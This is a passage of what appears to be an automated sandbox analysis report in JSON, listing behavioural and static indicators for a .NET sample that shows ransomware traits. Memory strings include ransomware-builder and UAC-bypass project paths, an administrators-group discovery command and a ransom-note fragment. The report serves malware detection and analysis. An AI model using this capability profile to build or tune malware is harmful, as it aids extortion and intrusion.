data","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode string content at runtime (Dotnet)","description":"Observed function \"FromBase64String\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed function \"ToBase64String\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES decryption (Dotnet String)","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-445","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform CryptoStream operations (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.CryptoStream\" and TypeReference \"FlushFinalBlock\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-166","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform crypto operations","description":"Observed namespace \"System.Security.Cryptography\" in [Source: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"]","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-118","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00003464.00000000.66478.00460000.00000004.mdmp\")\n Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00003464.00000000.66478.01B60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"description=\"Uses RsaCryptoServiceProvider to encrypt and decrypt\"\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00003464.00000000.66478.00460000.00000004.mdmp\")\n Found string \"Uses RsaCryptoServiceProvider to encrypt and decrypt\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00003464.00000000.66478.01B60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric crypto operations","description":"Observed namespace \"System.Security.Cryptography.AesCryptoServiceProvider\" and TypeReference \".ctor\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed namespace \"System.Security.Cryptography.RijndaelManaged\" and TypeReference \".ctor\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1573.001","relevance":1,"id":"static-140","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric decryption (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.SymmetricAlgorithm\" and TypeReference \"CreateDecryptor\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-168","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric encryption (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.SymmetricAlgorithm\" and TypeReference \"CreateEncryptor\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-165","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"http://www.w3.org/2001/04/xmlenc# EncryptedKey\" (Indicator: \"encryptedkey\"; Source: \"00000000-00003464.00000000.66478.01B60000.00000004.mdmp\")\n Found string \"System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" (Indicator: \"encryptedkey\"; Source: \"00000000-00003464.00000000.66478.01B60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\".exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003464)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute WMI queries (Dotnet)","description":"Observed namespace \"System.Management.ManagementObjectSearcher\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1047","relevance":1,"id":"static-114","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to gather system environment details","description":"Observed function \"ExpandEnvironmentVariables\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed function \"GetEnvironmentVariable\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1082","relevance":1,"id":"static-119","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve current user details (Dotnet)","description":"Observed Namespace \"System.Security.Principal.WindowsIdentity\" and MemberReference \"GetCurrent\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1033","relevance":1,"id":"static-152","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve geographical location","description":"\"k__BackingField\" (Indicator: \"countrycode\") in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\n \"get_CountryCode\" (Indicator: \"countrycode\") in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\n \"set_CountryCode\" (Indicator: \"countrycode\") in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\n \"countrycode\" (Indicator: \"countrycode\") in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\n \"countryCode\" (Indicator: \"countrycode\") in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\n \"Response//CountryCode\" (Indicator: \"countrycode\") in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-575","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"GetSystemInfoResponse\" (Indicator: \"GetSystemInfo\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"GetSystemInfoResponse\" (Indicator: \"GetSystemInfo\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")\n Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve local groups information","description":"Found string \"/c net localgroup administrators\" (Indicator: \"net localgroup\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found string \"c net localgroup administrators\" (Indicator: \"net localgroup\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.001","relevance":1,"id":"string-526","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network adapter information (Dotnet)","description":"Observed namespace \"System.Net.NetworkInformation\" and TypeReference \"NetworkInterface\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1016","relevance":1,"id":"static-137","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve security identifier details","description":"Observed Namespace \"System.Security.Principal.SecurityIdentifier\" and MemberReference \".ctor\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1033","relevance":1,"id":"static-156","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\".exe\" queries volume information of \"C:\\1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.exe\" at 00000000-00003464-0000010C-13913594","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"$31","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"\".exe\" called \"GetProcAddress\" with a parameter DecodePointer (UID: 00000000-00003464)\n \".exe\" called \"GetProcAddress\" with a parameter EncodePointer (UID: 00000000-00003464)\n \".exe\" called \"GetProcAddress\" with a parameter FlsGetValue (UID: 00000000-00003464)\n \".exe\" called \"GetProcAddress\" with a parameter CoGetContextToken (UID: 00000000-00003464)","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Can loads assembly that contains the code that is currently executing [Dotnet]","description":"$32","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-615","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Contains NTDLL native APIs","description":"$33","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-604","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"D:\\CreateVenomUser\\obj\\Release\\Create.pdb\"\n \"D:\\CreateVenomUser\\Uac-Executor\\obj\\Release\\CU.pdb\"\n \"D:\\Ransomware-Builder-v0.2d-master\\Decryptor\\Decryptor\\obj\\Debug\\Decryptor.pdb\"\n \"D:\\MEMORYU\\MEMORYU\\obj\\Debug\\MEMORYU.pdb\"\n \"D:\\addexclusion\\obj\\Release\\addexclusion.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$34","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcess\" (Indicator: \"CreateProcess\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"CreateProcess\" (Indicator: \"CreateProcess\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"file/memory contains long string with (Indicator: \"CreateDirectory\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"CreateDirectory\" (Indicator: \"CreateDirectory\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"//Directory.CreateDirectory(startupdir);\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")\n Found reference to API \"CreateDirectory\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Contains ability to download files with network (Dotnet)","description":"Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadString\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"OpenRead\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1105","relevance":1,"id":"static-99","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$35","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Contains ability to execute application (Dotnet)","description":"Observed function \"set_UseShellExecute\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-108","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"Found reference to API \"LogonUser\" (Indicator: \"LogonUser\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"LogonUser\" (Indicator: \"LogonUser\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineArgs\" (Indicator: \"GetCommandLine\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"GetCommandLineArgs\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Contains ability to set file attributes (Dotnet)","description":"Observed Namespace \"System.IO.FileSystemInfo\" and MemberReference \"get_Attributes\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed Namespace \"System.IO.FileSystemInfo\" and MemberReference \"set_Attributes\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1222","relevance":1,"id":"static-155","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"file/memory contains long string with (Indicator: \"SetLastError\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"[DllImport(\"user32.dll\", SetLastError = true)]\" (Indicator: \"SetLastError\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Powershell command string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-250","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$39","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Dotnet source code contains suspicious native API","description":"Observed API \"LoadLibraryA\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed API \"GetProcAddress\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed API \"LoadLibrary\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed API \"MapVirtualKeyEx\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"\n Observed API \"VirtualAllocEx\" in \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-126","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Found Native API in Dotnet file","description":"$3a","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Found WMI keywords in script (string)","description":"Observed WMI keyword:\"{impersonationLevel=impersonate}\" [Source: 60008e0-_~_]\n Observed WMI keyword:\"{impersonationLevel=impersonate}\" [Source: 00000000-00003464.00000001.68400.00172000.00000020.mdmp]\n Observed WMI keyword:\"{impersonationLevel=impersonate}\" [Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp\n 00000000-00003464.00000001.68400.00172000.00000020.mdmp\n 00000000-00003464.00000002.70319.00172000.00000020.mdmp\n 00000000-00003464.00000003.75826.00172000.00000020.mdmp]","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-155","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0\" (Indicator: \"mozilla/5.0 (\"; File: \"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"\"Go to blockchain.com create a bitcoin wallet if you do not possess one already...\" (Indicator: \"blockchain.com\")\n \"o to blockchain.com create a bitcoin wallet if you do not possess one already...\" (Indicator: \"blockchain.com\")","origin":"File/Memory","relevance":1,"id":"string-135","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"\".exe\" loaded module \"RPCRT4.DLL\" at base 76080000","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\".exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 67AD0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\".exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 75440000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\".exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 68730000\n \".exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 68EE0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\".exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76080000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6491ba7d220f6280c40eb813"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature 